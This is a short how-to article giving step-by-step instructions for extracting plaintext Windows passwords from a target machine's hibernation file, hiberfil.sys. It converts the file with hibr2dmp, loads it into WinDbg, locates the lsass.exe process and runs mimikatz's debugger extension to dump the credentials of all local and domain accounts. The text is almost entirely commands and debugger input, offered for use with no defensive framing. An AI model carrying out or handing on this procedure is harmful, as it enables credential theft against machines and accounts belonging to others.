How to Extract Windows User Passwords from Hiberfil.sys

Mimikatz, a tool that allows to extract Windows credentials  as plain text from LSA, is available since 2012. However, besides a well-covered feature of recovering passwords from the memory of a running OS, it has another interesting capability. Further a step-by-step instructions are given, how to easily extract the Windows users credentials data from hiberfil.sys file.

Preparation

To follow these instructions we’ll need the following tools:

1. Debugging Tools for Windows (WinDbg)
2. Windows Memory toolkit free edition
3. And mimikatz itself

Instructions

1. Get hiberfil.sys from the target machine.
2. Convert it into a format WinDbg can work with: hibr2dmp.exe

   d:\temp\hiberfil.sys c:\temp\hiberfil.dmp

   It can take some time (in our example, it took about 14 hours).
   

3. Run WinDbg and open the file you got in the previous step.File -> Open Crash Dump
4. Set the debug symbols.Open File -> Symbol File Path… and enter the next line:SRV*c:\symbols*http://msdl.microsoft.com/download/symbols

   

   You can specify any other directory to which the symbols are to be downloaded instead of c:\symbols

   Type the following in the debugger command prompt:

   0: kd> .reload /n

   Wait till the symbol download is completed:

   

5. Specify the path to mimilib.dll. (It is located in the same directory as mimikatz.)

   0: kd> .load z:\Sft\Security\Password\Mimikatz\x64\mimilib.dll

   

6. Find the address of lsass.exe.

   0: kd> !process 0 0 lsass.exee

   

   In our case the address is as follows: fffffa800a7d9060.

7. Switch the process context.

   0: kd> .process /r /p fffffa800a7d9060

   

8. Run mimikatz and obtain plaint text passwords.

   0:kd> !mimikatz

   

This way you can extract from the hibernation file passwords of all local and domain accounts, registered in the system.